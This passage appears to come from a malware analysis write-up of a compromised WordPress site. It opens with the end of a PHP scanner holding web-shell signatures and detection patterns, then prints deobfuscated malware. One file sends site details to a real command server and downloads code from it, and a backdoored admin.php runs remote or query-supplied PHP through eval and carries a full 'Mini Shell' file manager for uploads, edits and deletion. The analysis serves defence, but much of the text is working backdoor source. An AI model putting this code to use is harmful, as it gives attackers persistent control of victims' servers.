$feature = array("3ed2bcd9af3a8a4cc6a2d64c0e29323a","4500d7207ae89f588ae6bb46dc4cfc4c",'e95257e2f87a5324faa741d7bd256d10','380fa777b8c37fb60811e5972391261b','af92294c9e7d5f25ca0f7ec2371a830d','656fd2931ced4e62f2b73b065c1cb834','a9939c9ec3f1c09aba4a9c031b69d5b1','e72a4bad8eeb37181a5ac116073a0f2f','565ae477a280cb823d049e0e99c069b9','f2820d0981f75a2dae76e1ef4d628fe3','f66c24dd3c20ae8d4c2e71b27d4a3a2c','6bcb1a0971168190045636f83c490226','7c20feb7139226fbbbaa6d962adf5a75', '0c76ba322ca7009f0a155fce8dbbd9e0', 'e23b765107d824560a1edbb9e98f7ad7', '00c121a6f126196a2f159aaacb59a94d', '4056a2010da76111934c397f989bc1bc', 'fe8363339acbf327271cd5dc6843098b', 'b263f5b0dfcce9774f6e70f0932afcf2', 'cdf89ad3c74d0d6f4ce88eaa578440e8', '0152b6b8bc439e5cc3f8fde49952e470','1e499ce31b1879197b746d50aa21901e','82e89c090162303f2b95f0b916c2e1e6','1970fbfd414373d0c98ab147b9cb2022','c530b3e97a4642da2eab74d9b4f2d61c','2f1c426b9c3e4b01427bdc69262ee8de','bcec677bac0083b7c4a0849ccaa0f711', '8827c82e802c7d4df006148fd14e9ebc','363f04ba317bed872f62d2d9e6fdae19','5db85c130f31f2cb623d5a285997a704','b857f22b00098f85aa4d77acd58df73c','770616aff8677a033e946f6f01eb6ba3',
'112fc0af846dc2f6664f1a68f6f53594','893e4dde777558cc5fec4276c5a94dc0','d39ac622537d80caf7cb630899250e00','dacc0f895428822979bda234f4f15bfe','8dec392ede6ffafe434b401cf8e59cee','1a09efdc2d5a1f8b31132238651df3fb','a55395546859b922c4b7808b959043c0','aba3d13150cba65a25a974f6f66e25a4','4f6ca51ca0eba1c4ec9dab8f7fbfa87d','2240b1ed64d66a77d365934b42303ae9','bc747ff54ee849a60d2eb86208796115','b69bf8f5901d6be8fa239591fe752f39','ab3ab227167426b00efe41924ff86190','89d91ddee6f715acba63dc9e03e86de0','f67cf7731c19a10d0549419cef9619f0'
);
$feature_for_contain = array(
'"bas"."e64_d"."ecode"',
"'base64','_deco','de'",
'"ba" . "se6" . "4"',
"'helloword','create_','hellowordfunction'",
'I could not have a more welcome visitor 64 group of zain bani',
'_=\'Loading Class/Code NAME\'',
'PHP Encode v1.0 by zeura.com',
'get1_str($str1)',
'$_GET[\'ername\']',
'isset($_POST[\'f_p\'])',
'cb508614978e98198cb3d9c89d0fc47f'
);
foreach ($feature as $item) {
if ($content_md5 == $item)
{
if(@unlink($real_dir) == true) {
$trojan = array(
'path' => $real_dir,
'status' => 1
);
} else {
$trojan = array(
'path' => $real_dir,
'status' => 0
);
}
$info['trojan'][] = $trojan;
}
}
foreach ($feature_for_contain as $item) {
if (strpos($content, $item) !== false)
{
if(@unlink($real_dir) == true) {
$trojan = array(
'path' => $real_dir,
'status' => 1,
'feature' => $item
);
} else {
$trojan = array(
'path' => $real_dir,
'status' => 0,
'feature' => $item
);
}
$info['trojan'][] = $trojan;
}
}
$result = other($size, $content, $real_dir);
if($result != '')
{
if(@unlink($real_dir) == true) {
$trojan = array(
'path' => $real_dir,
'status' => 1,
'feature' => $result
);
} else {
$trojan = array(
'path' => $real_dir,
'status' => 0,
'feature' => $result
);
}
$info['trojan'][] = $trojan;
}
}
function checkSize($fileSize, $checkSize){
$status = false;
if(abs($fileSize - $checkSize) < 250){
$status = true;
}
return $status;
}
function other1($size, $txt, $realDir){
if(strstr($txt,'null;@eval(') && strstr($txt,'};$')){
return 'other1';
}
if(strstr($txt, 'get_str') && strstr($txt, 'str_rot13') && strstr($txt, '@eval(')){
return 'other2';
}
if(strstr($txt, 'ignore_user_abort') && strstr($txt, "@include(pack(")){
return 'other3';
}
if(strstr($txt, 'base64_decode') && strstr($txt, "@chmod") && strstr($txt, '=="') && !strstr($txt, 'cpa_ind5.php')){
return 'other4';
}
if(strstr($txt, 'gzuncompress(strrev(') && strstr($txt, "create_function") && checkSize($size, 22534)){
return 'other5';
}
if(strstr($txt, 'cdn.jsdelivr.net') && strstr($txt, "sweetalert.min.js") && checkSize($size, 13695)){
return 'other6';
}
if(strstr($txt, ')return') && strstr($txt, "}else{function")){
return 'other7';
}
if(strstr($txt, 'class_uc_key') && strstr($txt, "hexdec") && checkSize($size, 60048)){
return 'other8';
}
if(strstr($txt, 'require(@$') && strstr($txt, "error_reporting(0);") && strstr($txt, "set_time_limit(0);")){
return 'other9';
}
if(strstr($txt, '$_post') && strstr($txt, '$_cookie') && strstr($txt, 'md5(') && strstr($txt, '@setcookie') && strstr($txt, 'create_function')){
return 'other10';
}
return '';
}
function other2($size, $txt, $realDir){
if(strstr($txt, ';@include(') && strstr($txt, '$_post') && strstr($txt, '$_cookie') && strstr($txt, 'return @$')){
return 'other11';
}
if(strstr($txt, "getcwd") && strstr($txt, 'file_exists') && strstr($txt, '@chdir') && strstr($txt, '@scandir')){
return 'other12';
}
if(strstr($txt, '.chr(') && strstr($txt, "@include(") && strstr($txt, "chr(ord($")){
return 'other13';
}
if(strstr($txt, 'register_key') && strstr($txt, "kaylin") && checkSize($size, 86523)){
return 'other14';
}
if((strstr($txt, "base64_decode") || strstr($txt, 'error_reporting')) && strstr($txt, '"display_errors"') && strstr($txt, 'function_exists')){
return 'other15';
}
if(strstr($txt, "base64_decode") && strstr($txt, 'fwrite') && strstr($txt, '.php?pass=')){
return 'other16';
}
if(strstr($txt, '$_server["\x') && strstr($txt, "serialize")){
return 'other17';
}
if(strstr($txt, 'parse_str') && strstr($txt, "<?=") && !strstr($txt, 'highlighter')){
return 'other18';
}
if(strstr($txt, 'eval(') && strstr($txt, "foxauto")){
return 'other19';
}
if(strstr($txt, 'eval(') && strstr($txt, 'rawurldecode(') && strstr($txt, 'function%20')){
return 'other20';
}
return '';
}
function other3($size, $txt, $realDir)
{
if(strstr($txt, '$g($b($c))') && strstr($txt, "_dec") && checkSize($size, 7563)){
return 'other21';
}
if(strstr($txt, '$_post[') && strstr($txt, "eval(") && strstr($txt, ";@$") && checkSize($size, 453)){
return 'other22';
}
if(strstr($txt, 'filemtime') && strstr($txt, "preg_match('#<") && checkSize($size, 21596)){
return 'other23';
}
if(strstr($txt, 'parse_str') && strstr($txt, "eval") && strstr($txt, "'1=%'")){
return 'other24';
}
if(strstr($txt, 'php_uname') && strstr($txt, "move_uploaded_file") && checkSize($size, 1133)){
return 'other25';
}
if(strstr($txt, 'dehex(') && strstr($txt, "/etc/named.conf") && strstr($txt, '$_files["uploadfile"]')){
return 'other26';
}
if(strstr($txt, '?><?php') && strstr($txt, ");$") && strstr($txt, "'}'")){
return 'other27';
}
if(strstr($txt, 'function_exists') && strstr($txt, ");@$") && strstr($txt, '.="\x')){
return 'other28';
}
if(strstr($txt, '"\1') && strstr($txt, "gettype") && (strstr($txt, ";@$") || strstr($txt, "count"))){
return 'other29';
}
if(strstr($txt, "return 'other'.$") && strstr($txt, '},$') && strstr($txt, '});$')){
return 'other30';
}
return '';
}
function other4($size, $txt, $realDir)
{
if(strstr($txt, '"\r\n"') && strstr($txt, '= @$') && strstr($txt, 'new ') && strstr($txt, 'chr($')){
return 'other31';
}
if(strstr($txt, 'index.php') && strstr($txt, '@file_put_contents') && strstr($txt, 'xiaoxiannv')){
return 'other32';
}
if(strstr($txt, ';@$') && strstr($txt, ")].$") && strstr($txt, "(('')")){
return 'other33';
}
if(strstr($txt, ']];$') && strstr($txt, "base64_decode") && strstr($txt, "mktime")){
return 'other34';
}
if((strstr($txt, '_files') || strstr($txt, 'base64_decode')) && strstr($txt, '_get') && (strstr($txt, "error_reporting") || strstr($txt, "ignore_user_abort") || strstr($txt, "fm_convert_win")) && strstr($txt, 'set_time_limit') && !strstr($realDir, '.min.js') && !strstr($txt, 'updraftplus') && !strstr($txt, 'EASYPOPULATE_CONFIG')){
return 'other35';
}
if(strstr($txt, '$_post') && (strstr($txt, 'file_put_contents') || strstr($txt, "fopen")) && strstr($txt, 'error_') && strstr($txt, 'script') && strstr($txt, '_files') && (strstr($txt, 'opendir') || strstr($txt, 'scandir')) && strstr($txt, 'chmod') && strstr($txt, 'filesize') && strstr($txt, 'ini_') && strstr($txt, 'exec(')){
return 'other36';
}
if(strstr($txt, 'php_uname') && strstr($txt, "mail(") && strstr($txt, "json_encode") && strstr($txt, '$_get') && strstr($txt, 'curl_exec')){
return 'other37';
}
if(strstr($txt, "eval('?>'.$") && !strstr($txt, 'mustache')){
return 'other38';
}
if(strstr($txt, 'eval(') && (strstr($txt, "base64_decode(") || strstr($txt, '\x6') || strstr($txt, 'openssl_decrypt'))){
return 'other39';
}
if(strstr($txt, 'multipart') && strstr($txt, 'type="file"') && (strstr($txt, 'if(@copy') || strstr($txt, '@fopen'))){
return 'other40';
}
return '';
}
function other5($size, $txt, $realDir)
{
if((strstr($txt, 'base64_decode') || strstr($txt, '@shmop_open')) && strstr($txt, '$_files') && strstr($txt, '@copy') && !strstr($txt, 'wp_handle_upload_error')){
return 'other41';
}
if(strstr($txt, 'goto') && strstr($txt, ": function") && strstr($txt, ": eval(")){
return 'other42';
}
if(strpos($txt, 'F-Automatical') && strpos($txt, '$_POST[\'email\']') && strpos($txt, 'Send an report to'))
{
return 'other43';
}
if(strpos($txt, 'goto ') && strpos($txt, 'base64_decode') && strpos($txt, 'symlink'))
{
return 'other44';
}
if(preg_match("/(chr\([0-9]{1,3}\)\.){5}/si", $txt))
{
return 'other45';
}
if(preg_match_all("/\([0-9]{5}-[0-9]{5}\)/si", $txt, $matches) > 5)
{
return 'other46';
}
if(strpos($txt, '\'log_errors\'') && strpos($txt, '\'error_log\'') && strpos($txt, '\'error_reporting\''))
{
return 'other47';
}
if(strpos($txt, 'range(chr(126),chr(20));'))
{
return 'other48';
}
if (strpos($txt, '$_POST[\'cmd\'] == "get_file_data"') && strpos($txt, '$_POST[\'cmd\'] == "get_files"') && strpos($txt, '$_POST[\'cmd\'] == "shell_exec"'))
{
return 'other49';
}
if((strpos($txt, "PD9waH") || strpos($txt, "Ym90Ym90Ym90")) && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other50';
}
return '';
}
function other6($size, $txt, $realDir)
{
if(strpos($txt, "htaccess_rul") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other51';
}
if(strpos($txt, "%21mod%5B%7C%22D%") && strpos($txt, "gzinflate(base64_decode") && strpos($txt, "curl_exec") )
{
return 'other52';
}
if(strpos($txt, "WaomRuw") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other53';
}
if(preg_match("/goto [a-zA-Z0-9]{5};/si", $txt))
{
return 'other54';
}
if(preg_match('/@unlink\(\$[0oO]+\);/si', $txt))
{
return 'other55';
}
if(strpos($txt, 'eval("\"$A\"");') && strpos($txt, '_POST[911]'))
{
return 'other56';
}
if(strpos($txt, '199093f0455d6e79bb8e4bbe1ae1b86d') && strpos($txt, 'HTTP_USER_AGENT'))
{
return 'other57';
}
if(preg_match('/function [a-z][0-9]\(\$[a-z][0-9], \$[a-z][0-9]{2}\){return @\$[a-z][0-9][[0-9]+]\(\$[a-z][0-9][[0-9]+], \$[a-z][0-9]{2}\);}/si', $txt))
{
return 'other58';
}
if(strpos($txt, "Create_Function") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other59';
}
if(preg_match('/goto [a-zA-Z]{2};/si', $txt))
{
preg_match_all('/goto [a-zA-Z]{2};/si', $txt, $matches);
if(count($matches[0]) > 5){
return 'other60';
}
}
return '';
}
function other7($size, $txt, $realDir)
{
if(strpos($txt, "eval") && strpos($txt, "hex2bin") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other61';
}
if(strpos($txt, "https://glot.io/snippets") || strpos($txt, "https://glot.io/static"))
{
return 'other62';
}
if(strpos($txt, '$pwd=base64_encode($pwd)') && strpos($txt, "eval") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other63';
}
if(preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
preg_match_all('/\([0-9]{1,3}[-+*\/][0-9]{1,3}\)/si', $txt, $matches);
if(count($matches[0]) > 5){
return 'other64';
}
}
if(strpos($txt, 'Upload $i Files Successfully!') && strpos($txt, "Create Folder Successfully!") && strpos($txt, "Create File Successfully!"))
{
return 'other65';
}
if(strpos($txt, 'empty($_POST[\'email\'])') && strpos($txt, 'Result Report Test -
".$xx,"WORKING !"') && strpos($txt, "send an report"))
{
return 'other65';
}
if(strpos($txt, "loggedIn") && strpos($txt, "EVAL") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other66';
}
if(strpos($txt, 'eval') && strpos($txt, '$_SESSION[$payloadName]') && strpos($txt, "php://input"))
{
return 'other67';
}
if(strpos($txt, "@create_function") && strpos($txt, "base64_decode") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other68';
}
if(strpos($txt, "\$_COOKIE['f_pp']") && strpos($txt, "\$_POST['f_pp']") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other69';
}
if(strpos($txt, "shell519") && strpos($txt, '$shell_content3') && strpos($txt, "read_dir_queue1"))
{
return 'other70';
}
return '';
}
function other8($size, $txt, $realDir)
{
if(strpos($txt, "unlink('.hindexcontent');") && strpos($txt, "wp-content/plugins/akismet") && strpos($txt, "'wp-content/themes"))
{
return 'other71';
}
if(strpos($txt, "bjRficAiyoSn") && strpos($txt, "unlink") && strpos($txt, '$f('))
{
return 'other72';
}
if(strpos($txt, "https://hastebin.com/raw/") && strpos($txt, "/999MD999.html") && strpos($txt, '$_FILES'))
{
return 'other73';
}
if(strpos($txt, "Shell Bypass 403") && strpos($txt, "unlink(\$_GET['delete']"))
{
return 'other74';
}
if(strpos($txt, "is_cli()") && strpos($txt, "disable_functions") && strpos($txt, "ini_get"))
{
return 'other75';
}
if(strpos($txt, "\$pp6 = Array()") && strpos($txt, "se1(\$we2)") && strpos($txt, "ir7(\$pp6"))
{
return 'other76';
}
if(strpos($txt, "<!-- GIF89;a -->") && strpos($txt, "\$lokasinya") && strpos($txt, "\$_GET['pilihan']"))
{
return 'other77';
}
if(strpos($txt, "\$GNJ[]") && strpos($txt, "\$GNJ[33]") && strpos($txt, "(uhex("))
{
return 'other78';
}
if(strpos($txt, "smisbot()") && strpos($txt, "\$Prefix") && strpos($txt, "@ignore_user_abort"))
{
return 'other79';
}
if(strpos($txt, "goto VZ") && strpos($txt, "\$_FILES[\"f\"]") && strpos($txt, "http_response_code"))
{
return 'other80';
}
return '';
}
function other9($size, $txt, $realDir)
{
if(strpos($txt, "@set_time_limit(0);") && strpos($txt, "\$_FILES[") && strpos($txt, "\$perms & 0x0100"))
{
return 'other81';
}
if(strpos($txt, "die;") && strpos($txt, "4@MTP*") && strpos($txt, "curl_setopt"))
{
return 'other82';
}
preg_match_all('/\/\*([^*]{5,10})\*\//si', $txt, $matches, PREG_PATTERN_ORDER);
if($matches)
{
if(count($matches[0]) > 10 )
{
return 'other83';
}
}
return '';
}
function other($size, $txt, $realDir)
{
for ($i=1; $i<10; $i++)
{
$f = 'other' . $i;
$result = $f($size, $txt, $realDir);
if($result != '')
{
return $result;
}
}
return '';
}
function pass($real_dir, $content, &$info)
{
$feature = '';
if (strpos($content, '7c703c76d1a6d63383a19e3a4d6f7895'))
{
$feature = 'own1';
};
if (strpos($content, '$L7CRgr'))
{
$feature = 'own2';
}
if (strpos($content, '$cAT3VWynuiL7CRgr'))
{
$feature = 'own3';
}
if (strpos($content, 'api=%s&ac=%s&path=%s&t=%s'))
{
$feature = 'own4';
}
if (strpos($content, '"PD9waHA="'))
{
$feature = 'own5';
}
if ($feature != '')
{
$pass = array(
'path' => $real_dir,
'status' => 0,
'feature' => $feature
);
$info['pass'][] = $pass;
return true;
}
return false;
}
$info = array(
'file_count' => 0,
'hide_count' => 0,
'trojan_count' => 0,
'pass_count' => 0,
'hide_code' => array(),
'trojan' => array(),
'pass' => array(),
);
$path = "/home4/<redacted>/public_html/<redacted>.com";
if($path == "")
{
searchDirs(dirname(__FILE__) . "/", $info);
} else {
searchDirs($path, $info);
}
$info['hide_count'] = count($info['hide_code']);
$info['trojan_count'] = count($info['trojan']);
$info['pass_count'] = count($info['pass']);
if(function_exists('json_encode'))
{
i(json_encode($info, JSON_PRETTY_PRINT));
}else {
echo '{->|';
print_r($info);
echo '|<-}';
}
view raw lock360.php hosted with ❤ by GitHub


Deobfuscating the malicious files and reverse engineering the C2 protocols

/wp-admin/network/index.php

Analyzing the first file at the top of the entropy list shows the following:

<?php
function get_victim_domain($default_domain = '') {
if (isset(${"_SERVER"}["HTTP_HOST"])) {
return ${"_SERVER"}["HTTP_HOST"];
} else if(isset(${"_SERVER"}["SERVER_NAME"])) {
return ${"_SERVER"}["SERVER_NAME"];
}
return $default_domain;
}
function phone_home_to_c2($url) {
$file_contents = @file_get_contents($url);
if (!$file_contents) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$file_contents = curl_exec($curl);
curl_close($curl);
}
return $file_contents;
}
function main() {
$obj = array();
$obj["path"] = str_replace(str_replace(\'\\', \'/\\', ${"_SERVER"}["PHP_SELF"]), \'\\', str_replace(\'\\\\\\\\\',\'/\\', ${"_SERVER"}["SCRIPT_FILENAME"]));
$obj["domain"] = get_victim_domain();
$obj["shell_link"] = "https://<victim domain>/about.php?520";
if (isset(${"_GET"}["del"]) && ${"_GET"}["del"] == "my_code") {
$path_to_root_index = $obj["path"] . "/index.php";
$file_contents = @file_get_contents($path_to_root_index);
$php_file_pattern = "<\?php.+\(1\);\?>";
$file_contents = preg_replace("/$php_file_pattern/si",\'\\' , $file_contents);
$file_contents = @file_put_contents($path_to_root_index, $file_contents);
if ($file_contents > 0) {
die("delete success");
}
die("delete failed");
}
$adminphp_path = $obj["path"] . "/admin.php";
$file_contents = @phone_home_to_c2("http://51la.izv3.com/a.txt");
$file_contents = @file_put_contents($adminphp_path, $file_contents);
if ($file_contents>0) {
$obj["trojan"] = "http://" . $obj["domain"] . "/admin.php";
} else {
$obj["trojan"] = "write failed";
}
$build_c2_callback_url = sprintf("http://51la.izv3.com/?d=%s", base64_encode(serialize($obj)));
$c2_response = phone_home_to_c2($build_c2_callback_url);
if ($c2_response == "done") {
$path_to_root_index = $obj["path"] . "/index.php";
$file_contents = @file_get_contents($path_to_root_index);
$php_file_pattern = "<\?php.+\(1\);\?>";
$file_contents = preg_replace("/$php_file_pattern/si", \'\\', $file_contents);
@file_put_contents($path_to_root_index, $file_contents);
}
}
main();
?>

This script acts as a C2 notifier, where it builds file paths to malicious files on the infected host, specifically /about.php?520 assigned to a property called shell_link, and /admin.php assigned to a property called trojan.

This code calls out to a C2 URL: http://51la.izv3.com/a.txt which (at the time of this post) looks like there’s nothing being returned, however, when we inspect source, we see more malicious PHP code being returned that matches the PHP code that was found in files of the infected host, specifically /admin.php, /about.php, and others. This makes sense, because the next thing this malware does is save the response from the C2 call to /admin.php. Then it gathers some information about the infected host and phones home to a different path on the same domain: http://51la.izv3.com/?d=<serializsed, base64 encoded, properties>. The properties that get serialized and encoded include the path to the current file, the victim’s domain, the shell link to /about.php?520, and the trojan path to /admin.php. If the C2 server responds with ”done”, it finds the root /index.php and overwrites any existing PHP code.

The attacker also gave themselves a way to delete the existing code via a query param called del=my_code.

We can reverse the C2 communication protocol by creating a URL that resolves to a honeypot site that saves the requester’s IP address, $_REQUEST, and $_SERVER objects to a log file. We can rebuild the correctly formatted encoding that the C2 server expects with the following code:

<?php
$obj = array();
$obj["path"] = "/index.php";
$obj["domain"] = "<honeypot domain>.com";
$obj["shell_link"] = "https://<honeypot domain>.com/about.php";
$obj["trojan"] = "http://<honeypot domain>.com/admin.php";
echo "http://51la.izv3.com/?d=" . base64_encode(serialize($obj));
?>

Which returns:

http://51la.izv3.com/?d=YTo0OntzOjQ6InBhdGgiO3M6MTA6Ii9pbmRleC5waHAiO3M6NjoiZG9tYWluIjtzOjIxOiI8aG9uZXlwb3QgZG9tYWluPi5jb20iO3M6MTA6InNoZWxsX2xpbmsiO3M6Mzk6Imh0dHBzOi8vPGhvbmV5cG90IGRvbWFpbj4uY29tL2Fib3V0LnBocCI7czo2OiJ0cm9qYW4iO3M6Mzg6Imh0dHA6Ly88aG9uZXlwb3QgZG9tYWluPi5jb20vYWRtaW4ucGhwIjt9

Immediately after performing a GET request on the generated C2 URL, the honeypot log file started filling up with requests from this IP address: 104.193.10.31, with query parameters of: ac=p&api=&path=&t=f610088ee31773d3a8ee99a6210882b4 being passed to malicious files on the infected host.


/admin.php

Since the last file we analyzed had some code that was written out to an /admin.php file, we’ll look at it next.

<?php
$password_hash = "6bba05fa4e01e83e5d90601f0e80c444";
function get_code($c2_url)
{
$url = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $c2_url, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']);
$malicious_code = @file_get_contents($url);
if ($malicious_code == false) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, 'll');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 100);
curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$malicious_code = curl_exec($ch);
curl_close($ch);
}
return $malicious_code;
}
if (isset($_REQUEST['ac']) && isset($_REQUEST['path']) && isset($_REQUEST['api']) && isset($_REQUEST['t'])) {
$malicious_code = get_code('https://c.wiv3.com/');
if (!$malicious_code) {
$malicious_code = get_code('https://c.oiv3.com/');
}
$need = '<?php';
if (strpos($malicious_code, $need) === false) {
die('get failed');
}
$file_name = tmpfile();
fwrite($file_name, $malicious_code);
$file_metadata = stream_get_meta_data($file_name);
$file_path = $file_metadata['uri'];
if (!file_get_contents($file_path)) {
$file_path = '.c';
file_put_contents($file_path, $malicious_code);
}
@require($file_path);
fclose($file_name);
@unlink($file_path);
die();
}
if (isset($_REQUEST['d_time'])) {
die('{->' . $password_hash . '<-}');
}
$pass = false;
if (isset($_COOKIE['pass'])) {
if (md5($_COOKIE['pass']) == $password_hash) {
$pass = true;
}
} else {
if (isset($_POST['pass'])) {
if (md5($_POST['pass']) == $password_hash) {
setcookie("pass", $_POST['pass']);
$pass = true;
}
}
}
if (isset($_POST['logout']) && $_POST['logout'] = 1) {
setcookie("pass", null);
$pass = false;
}
if (isset($_REQUEST['pwd163']) && md5($_REQUEST['pwd163']) == $password_hash) {
$malicious_query_param_payload = base64_decode(rawurldecode((urlencode(urldecode($_REQUEST['zzz'])))));
$need = "<?php";
if (strpos($malicious_query_param_payload, $need) === false) {
$malicious_query_param_payload = $need . PHP_EOL . $malicious_query_param_payload;
}
if (isset($_REQUEST['e'])) {
$malicious_query_param_payload = str_replace($need, "", $malicious_query_param_payload);
eval($malicious_query_param_payload);
die();
}
$file_name = tmpfile();
fwrite($file_name, $malicious_query_param_payload);
$require_params = stream_get_meta_data($file_name);
@require($require_params['uri']);
fclose($file_name);
die();
}
if (isset($_REQUEST['auth_key'])) {
die($password_hash);
}
if (!$pass) {
if (!isset($_REQUEST['520'])) {
header("HTTP/1.1 404 Not Found");
die();
}
echo '<form action="#" method="post"><input type="password" name="pass" > <input type="submit" value="submit"></form>';
die();
}
echo '<form action="#" method="post"><input type="hidden" name="logout" value="1"> <input type="submit" value="logout"></form>';
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
<title>Mini Shell</title>
<style>
body{
font-family: "Racing Sans One", cursive;
background-color: #e6e6e6;
text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
background-color: #636263;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: silver;
}
#content .first:hover{
background-color: silver;
text-shadow:0px 0px 1px #757575;
}
table{
border: 1px #000000 dotted;
}
H1{
font-family: "Rye", cursive;
}
a{
color: #000;
text-decoration: none;
}
a:hover{
color: #fff;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</HEAD>
<BODY>
<H1><center><img src="https://s.yimg.com/lq/i/mesg/emoticons7/19.gif"/>
Mini Shell <img src="https://s.yimg.com/lq/i/mesg/emoticons7/19.gif"/>
</center></H1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Direktori : ';
if (isset($_GET['path'])) {
$path = $_GET['path'];
} else {
$path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
if ($pat == '' && $id == 0) {
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if ($pat == '')
continue;
echo '<a href="?path=';
for ($i = 0; $i <= $id; $i++) {
echo "$paths[$i]";
if ($i != $id)
echo "/";
}
echo '">' . $pat . '</a>/';
}
echo '</td></tr><tr><td>';
if (isset($_FILES['file'])) {
if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
echo '<font color="green">File Ter-Upload :* </font><br />';
} else {
echo '<font color="red">Upload gagal, Servernya kek <img src="http://c.fastcompany.net/asset_files/-/2014/11/11/4F4.gif"/>
</font><br />';
}
}
echo '<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>';
if (isset($_GET['filesrc'])) {
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo ('<pre>' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</pre>');
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
if ($_POST['opt'] == 'chmod') {
if (isset($_POST['perm'])) {
if (chmod($_POST['path'], octdec($_POST['perm']))) {
echo '<font color="green">Change Permission Done.</font><br />';
} else {
echo '<font color="red">Change Permission Error.</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
} elseif ($_POST['opt'] == 'rename') {
if (isset($_POST['newname'])) {
if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
echo '<font color="green">Change Name Done.</font><br />';
} else {
echo '<font color="red">Change Name Error.</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
} elseif ($_POST['opt'] == 'edit') {
if (isset($_POST['src'])) {
$fp = fopen($_POST['path'], 'w');
if (fwrite($fp, $_POST['src'])) {
echo '<font color="green">Edit File Done ~_^.</font><br />';
} else {
echo '<font color="red">Edit File Error ~_~.</font><br />';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
}
echo '</center>';
} else {
echo '</table><br /><center>';
if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
if ($_POST['type'] == 'dir') {
if (rmdir($_POST['path'])) {
echo '<font color="green">Delete Dir Done.</font><br />';
} else {
echo '<font color="red">Delete Dir Error.</font><br />';
}
} elseif ($_POST['type'] == 'file') {
if (unlink($_POST['path'])) {
echo '<font color="green">Delete File Done.</font><br />';
} else {
echo '<font color="red">Delete File Error.</font><br />';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';
foreach ($scandir as $dir) {
if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..')
continue;
echo "<tr>
<td><a href=\"?path=$path/$dir\">$dir</a></td>
<td><center>--</center></td>
<td><center>";
if (is_writable("$path/$dir"))
echo '<font color="green">';
elseif (!is_readable("$path/$dir"))
echo '<font color="red">';
echo perms("$path/$dir");
if (is_writable("$path/$dir") || !is_readable("$path/$dir"))
echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach ($scandir as $file) {
if (!is_file("$path/$file"))
continue;
$size = filesize("$path/$file") / 1024;
$size = round($size, 3);
if ($size >= 1024) {
$size = round($size / 1024, 2) . ' MB';
} else {
$size = $size . ' KB';
}
echo "<tr>
<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td><center>" . $size . "</center></td>
<td><center>";
if (is_writable("$path/$file"))
echo '<font color="green">';
elseif (!is_readable("$path/$file"))
echo '<font color="red">';
echo perms("$path/$file");
